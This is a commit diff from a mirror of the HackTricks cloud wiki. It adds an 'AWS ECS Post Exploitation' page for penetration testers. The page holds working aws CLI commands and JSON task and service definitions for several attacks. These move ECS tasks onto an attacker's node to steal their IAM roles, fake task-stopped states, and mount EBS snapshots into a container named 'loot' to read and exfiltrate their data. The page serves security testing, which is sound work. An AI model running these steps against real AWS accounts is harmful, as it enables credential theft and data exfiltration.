mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-06 09:43:42 -08:00
organize aws + new attacks
This commit is contained in:
@@ -0,0 +1,141 @@
|
||||
# AWS - ECS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Host IAM Roles
|
||||
|
||||
In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
|
||||
Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
|
||||
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached.
|
||||
|
||||
#### Making containers run in current host
|
||||
|
||||
Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container.
|
||||
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
|
||||
The same technique can be done by **deregistering the EC2 instance from the cluster**. This is potentially less stealthy but it will **force the tasks to be run in other instances:**
|
||||
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
|
||||
A final technique to force the re-execution of tasks is by indicating ECS that the **task or container was stopped**. There are 3 potential APIs to do this:
|
||||
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
--status STOPPED --reason "anything" --containers [...]
|
||||
|
||||
# Needs: ecs:SubmitContainerStateChange
|
||||
aws ecs submit-container-state-change ...
|
||||
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
|
||||
### Steal sensitive info from ECR containers
|
||||
|
||||
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Abuse the native ECS EBS integration (2024+) to mount the contents of an existing EBS snapshot directly inside a new ECS task/service and read its data from inside the container.
|
||||
|
||||
- Needs (minimum):
|
||||
- ecs:RegisterTaskDefinition
|
||||
- One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole on:
|
||||
- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles referenced by the task definition
|
||||
- If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
|
||||
|
||||
- Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs.
|
||||
|
||||
Steps (Fargate example):
|
||||
|
||||
1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
|
||||
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
|
||||
2) Register a task definition with a volume marked `configuredAtLaunch` and mount it in the container. Example (prints the secret then sleeps):
|
||||
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
"networkMode": "awsvpc",
|
||||
"requiresCompatibilities": ["FARGATE"],
|
||||
"cpu": "256",
|
||||
"memory": "512",
|
||||
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
|
||||
"containerDefinitions": [
|
||||
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"entryPoint":["/bin/sh","-c"],
|
||||
"command":["cat /loot/secret.txt || true; sleep 3600"],
|
||||
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
|
||||
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
|
||||
}
|
||||
],
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
|
||||
3) Create or update a service passing the EBS snapshot via `volumeConfigurations.managedEBSVolume` (requires iam:PassRole on the infra role). Example:
|
||||
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
"serviceName": "ht-ebs-svc",
|
||||
"taskDefinition": "ht-ebs-read",
|
||||
"desiredCount": 1,
|
||||
"launchType": "FARGATE",
|
||||
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
|
||||
"volumeConfigurations": [
|
||||
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
4) When the task starts, the container can read the snapshot contents at the configured mount path (e.g., `/loot`). Exfiltrate via the task’s network/logs.
|
||||
|
||||
Cleanup:
|
||||
|
||||
```bash
|
||||
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user